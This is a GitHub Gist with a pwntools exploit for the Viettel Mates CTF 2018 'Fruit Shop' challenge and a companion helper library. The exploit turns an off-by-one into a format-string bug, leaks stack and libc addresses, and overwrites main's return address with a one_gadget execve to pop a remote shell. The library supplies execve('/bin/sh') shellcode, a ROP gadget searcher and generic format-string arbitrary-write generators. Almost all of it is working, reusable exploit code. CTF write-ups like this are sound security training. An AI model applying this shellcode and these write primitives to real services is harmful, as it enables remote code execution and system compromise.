Last active
June 18, 2018 13:03
-
-
Save ManhNDd/3b2cf7a3cc08ef89ad183d28495ec30f to your computer and use it in GitHub Desktop.
Viettel Mates CTF 2018 - Fruit Shop
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#coding: utf-8 | |
''' | |
author: Nguyen Duc Manh | |
email: imdb95@gmail.com | |
''' | |
import Mix | |
from pwn import * | |
import sys | |
context.clear(arch='amd64') | |
''' | |
apple: | |
0x555555757420, 156-byte long | |
v8[16] = 0; | |
offset 12: word quantity | |
offset 14: dword quantity*3 | |
offset 17: 'organic', overwrite one byte on previous dword | |
offset 27: byte 0 | |
offset 28: 64 byte, address | |
offset 92: "Apple From Greek." | |
banana: | |
0x5555557574d0, 156-byte long | |
v8[16] = 1; | |
offset 12: word quantity | |
offset 14: dword quantity*5 | |
offset 17: 'organic', overwrite one byte on previous dword | |
offset 27: byte 1 | |
offset 28: 96 byte, address | |
offset 124: "Banana from Australia." | |
change label: offset 16 != 0 | |
scanf overwrites NULL byte => off by one => modified 1 into 0 => turn banana into apple => format string vulnerabitily | |
full mitigrations => overwrite return address of main | |
''' | |
def setAddress(p, aStr): | |
p.sendlineafter('Your choice:', '1') | |
p.sendlineafter('banana (2)?:', '2') | |
p.sendlineafter('quantity:', '-1') | |
p.sendlineafter('address? (Y/N)', 'Y') | |
p.sendline(aStr) | |
def changeLabel(p, idx): | |
p.sendlineafter('Your choice:', '3') | |
p.sendlineafter('change:', str(idx)) | |
p.sendlineafter('label:', 'a'*10) | |
def out(p): | |
p.sendlineafter('Your choice:', '2') | |
p.recvuntil('65531|') | |
data = p.recvuntil('|\n\n')[:-3] | |
return data | |
def changeComment(p, idx): | |
p.sendlineafter('Your choice:', '4') | |
p.sendlineafter('change:', str(idx)) | |
p.sendlineafter('address:', 'o'*64) | |
def generic(p, idx, aStr): | |
setAddress(p, aStr) | |
changeLabel(p, idx) | |
data = out(p) | |
changeComment(p, idx) | |
return data | |
gIdx = 0 | |
if sys.argv[1] == 'local': | |
lib = Mix.MyELF("/lib/x86_64-linux-gnu/libc-2.23.so") | |
libcRetOffset = 133168 | |
p = process('./fruitretailer') | |
else: | |
lib = Mix.MyELF("/home/manh/tools/libc-database/db/libc6_2.27-3ubuntu1_amd64.so") | |
libcRetOffset = 0x0000000000021b97 | |
p = remote('125.235.240.167', 5000) | |
# p = remote('ec2-54-255-145-181.ap-southeast-1.compute.amazonaws.com', 5000) | |
gIdx += 1 | |
data = generic(p, gIdx, 'x'*64+'%8$pAAAA%13$pBBBB%12$p') | |
mainRbp = int(data[:data.index('AAAA')], 16) | |
libcRet = int(data[data.index('AAAA')+4:data.index('BBBB')], 16) | |
init = int(data[data.index('BBBB')+4:data.index('xxxx')], 16) | |
print ('leaked rbp: 0x%x' % mainRbp) | |
print ('leaked ret: 0x%x' % libcRet) | |
print ('leaked init: 0x%x' % init) | |
lib.address = libcRet - libcRetOffset | |
print ('leaked libc: 0x%x' % lib.address) | |
def exploit(): | |
global gIdx, p | |
initOffset = 5328 | |
setvbuf = init - initOffset + 0x201FC8 | |
popRdi = lib.searchAsm('pop rdi; ret').next() | |
sh = lib.search('/bin/sh\x00').next() | |
system = lib.symbols['exit'] | |
if sys.argv[1] == 'local': | |
execve1 = lib.address +0x4526A | |
execve2 = lib.address+0x6F5A6 | |
execve3 = lib.address+0xCD0F3 | |
execve4 = lib.address+0xCD1C8 | |
execve5 = lib.address+0xF02B0 | |
execve6 = lib.address+0xF1147 | |
else: | |
execve1 = lib.address+0x4F322 | |
execve2 = lib.address+0x808F1 | |
execve3 = lib.address+0xE569F | |
execve4 = lib.address+0xE56B9 | |
execve5 = lib.address+0xE5863 | |
execve6 = lib.address+0x10A38C | |
# oData = flat([popRdi, sh, system]) | |
oData = flat([execve6]) | |
for i in range(len(oData)): | |
assert p64(mainRbp+8+i)[1] == p64(mainRbp)[1] | |
fmtA = Mix.genFmtStr(6, {0:p64(mainRbp+8+i)[0]}, aWhole=False, writeSize='byte', writtenLen = 0)[0] | |
fmtC = Mix.genFmtStr(8, {0:oData[i]}, aWhole=False, writeSize='byte', writtenLen = 0)[0] | |
setAddress(p, 'x'*64+fmtA) | |
gIdx += 1 | |
changeLabel(p, gIdx) | |
setAddress(p, 'x'*64+fmtC) | |
gIdx += 1 | |
changeLabel(p, gIdx) | |
setAddress(p, 'x'*64+'XYXY%13$sXYYX') # leak | |
gIdx += 1 | |
changeLabel(p, gIdx) | |
fmtA = Mix.genFmtStr(6, {0:p64(mainRbp)[0]}, aWhole=False, writeSize='byte', writtenLen = 0)[0] | |
setAddress(p, 'x'*64+fmtA) | |
gIdx += 1 | |
changeLabel(p, gIdx) | |
p.sendlineafter('Your choice:', '2') | |
data = p.recvuntil('|\n\n')[:-3] | |
leaked = data[data.index('XYXY')+4:data.index('XYYX')] | |
print [leaked] | |
p.interactive() | |
exploit() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#coding: utf-8 | |
''' | |
author: Nguyen Duc Manh | |
email: imdb95@gmail.com | |
''' | |
import time | |
from pwn import * | |
''' | |
import sys | |
sys.path.append('/media/sf_F_DRIVE/Research/lib') | |
from Mix import * | |
''' | |
gBinSh32 = """ | |
xor ecx, ecx | |
mul ecx | |
mov al, 0xb | |
push ecx | |
push 0x68732f2f | |
push 0x6e69622f | |
mov ebx, esp | |
int 0x80 | |
""" | |
class Elapsed: | |
def __init__(self): | |
self.start = time.time() | |
def sc(self, str=None): | |
end = time.time() | |
if str != None: | |
print("%s: %f" % (str, end - self.start)) | |
else: | |
print(end - self.start) | |
self.start = end | |
def chop(self): | |
end = time.time() | |
ret = end - self.start | |
self.start = end | |
return ret | |
class MyELF(ELF): | |
def __init__(self, aModule): | |
ELF.__init__(self, aModule) | |
def searchAsm(self, needle, textAsm = True): | |
"""searchAsm(needle, textAsm = False) -> str generator | |
Search the ELF's virtual address space (only executable segments) for the specified string. | |
Arguments: | |
needle(str): String to searchAsm for. | |
textAsm: asm(needle) before searching | |
Returns: | |
An iterator for each virtual address that matches. | |
Examples: | |
>>> bash = MyELF(which('bash')) | |
>>> shStr = bash.searchAsm('pop rdi; ret') | |
""" | |
if textAsm == True: | |
needle = asm(needle) | |
segments = self.executable_segments | |
load_address_fixup = (self.address - self.load_addr) | |
for seg in segments: | |
addr = seg.header.p_vaddr | |
data = seg.data() | |
offset = 0 | |
while True: | |
offset = data.find(needle, offset) | |
if offset == -1: | |
break | |
yield (addr + offset + load_address_fixup) | |
offset += 1 | |
def genFmtStrForValueList(ctrlOffset, valueList, writeSize='byte'): | |
""" | |
param: | |
+ ctrlOffset: format string offset that you can control, assuming the start of the buffer, is number of dwords/qwords | |
+ addrList: [int, ...] | |
+ writeSize: 'byte' or 'short' | |
""" | |
if writeSize == 'byte': | |
mPow = 8 | |
flag = 'hhn' | |
else: | |
mPow = 16 | |
flag = 'hn' | |
now = 0 | |
fmt = '' | |
for i in range(len(valueList)): | |
v = valueList[i] | |
assert v < 2**mPow | |
t = v - now | |
if t == 0: fmt += "%{}${}".format(ctrlOffset + i, flag) | |
else: | |
if t < 0: | |
t += 2**mPow # use integer overflow | |
fmt += "%{}c%{}${}".format(t, ctrlOffset + i, flag) | |
now = v | |
return fmt | |
def genFmtStr(ctrlOffset, addrDict, aWhole=True, writeSize='short', writtenLen = 0): | |
""" | |
param: | |
+ ctrlOffset: format string offset that you can control, assuming the start of the buffer, is number of dwords/qwords | |
+ addrDict: {addr: str, ...} | |
+ aWhole: = True if fmt and flatten_addrs are both put in the buffer | |
if aWhole: return fmt_flatten_addrs | |
else return [fmt,flatten_addrs] | |
+ writeSize: 'byte' or 'short' | |
""" | |
newDict = {} | |
for addr in addrDict: | |
vStr = addrDict[addr] | |
if writeSize == 'byte': | |
for i in range(len(vStr)): | |
newDict[addr+i] = ord(vStr[i]) | |
elif writeSize == 'short': | |
if (len(vStr)%2 != 0): | |
raise Exception("genFmtStr: odd len for short writes") | |
for i in range(len(vStr)/2): | |
newDict[addr+i*2] = ord(vStr[i*2]) | (ord(vStr[i*2+1]) << 8) | |
else: | |
raise Exception("genFmtStr: invalid writeSize") | |
return generateFmtStrInBytesOrShorts(ctrlOffset, newDict, aWhole, writeSize, writtenLen) | |
def generateFmtStrInBytesOrShorts(ctrlOffset, addrDict, aWhole=True, writeSize='byte', writtenLen = 0): | |
""" | |
param: | |
+ ctrlOffset: format string offset that you can control, assuming the start of the buffer, is number of dwords/qwords | |
+ addrDict: {addr: int, ...} | |
+ aWhole: = True if fmt and flatten_addrs are both put in the buffer | |
if aWhole: return fmt_flatten_addrs | |
else return [fmt,flatten_addrs] | |
+ writeSize: 'byte' or 'short' | |
""" | |
# sort x of "%{}c%{}$(h)hn" in increasing order. | |
# then padding, and add addresses at the end. | |
# => payload length should be short | |
if context.arch == 'i386': | |
padding = 4 | |
__p = p32 | |
elif context.arch == 'amd64': | |
padding = 8 | |
__p = p64 | |
else: | |
raise Exception("Error architecture") | |
if writeSize == 'byte': | |
flag = 'hhn' | |
round = 256 | |
else: | |
flag = 'hn' | |
round = 2**16 | |
''' if writtenLen != 0, have to subtract by this value, and round when < 0''' | |
for addr in addrDict: | |
addrDict[addr] -= writtenLen | |
if addrDict[addr] < 0: addrDict[addr] += round | |
mList = addrDict.items() | |
mList.sort(key=lambda x: x[1]) | |
flatten_addrs = ''.join(__p(x[0]) for x in mList) | |
if aWhole: | |
i = 1 # i surely not 0 | |
while(True): # try increasing offsets for {} of "%{}$(h)hn" until got suitable value. | |
off = ctrlOffset+i | |
fmt = '' | |
for k in range(len(mList)): | |
if k == 0: | |
addup = mList[k][1] | |
else: | |
addup = mList[k][1] - mList[k-1][1] | |
if addup == 0: | |
fmt += "%{}${}".format(off+k, flag) | |
else: | |
fmt += "%{}c%{}${}".format(addup, off+k, flag) | |
if len(fmt) % padding != 0: # padding | |
fmt += 'A'*(padding - len(fmt)%padding) | |
if ctrlOffset+len(fmt)/padding != off: | |
i += 1 | |
continue # off not satisfy -> inc | |
return fmt+flatten_addrs | |
else: | |
off = ctrlOffset | |
fmt = '' | |
for k in range(len(mList)): | |
if k == 0: | |
addup = mList[k][1] | |
else: | |
addup = mList[k][1] - mList[k-1][1] | |
if addup == 0: | |
fmt += "%{}${}".format(off + k, flag) | |
else: | |
fmt += "%{}c%{}${}".format(addup, off + k, flag) | |
return [fmt, flatten_addrs] | |
def leakedToAddr(leaked): | |
''' | |
params: | |
leaked: binary string leaked from server. | |
return address corresponding to the context arch. If length is not adequate, \x00s are added to the end | |
''' | |
if context.arch == 'i386': | |
addrSize = 4 | |
__p = u32 | |
elif context.arch == 'amd64': | |
addrSize = 8 | |
__p = u64 | |
else: | |
raise Exception("Error architecture") | |
if len(leaked) <= 8: | |
leaked += '\x00'*(8-len(leaked)) | |
else: | |
leaked = leaked[:8] | |
return __p(leaked) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment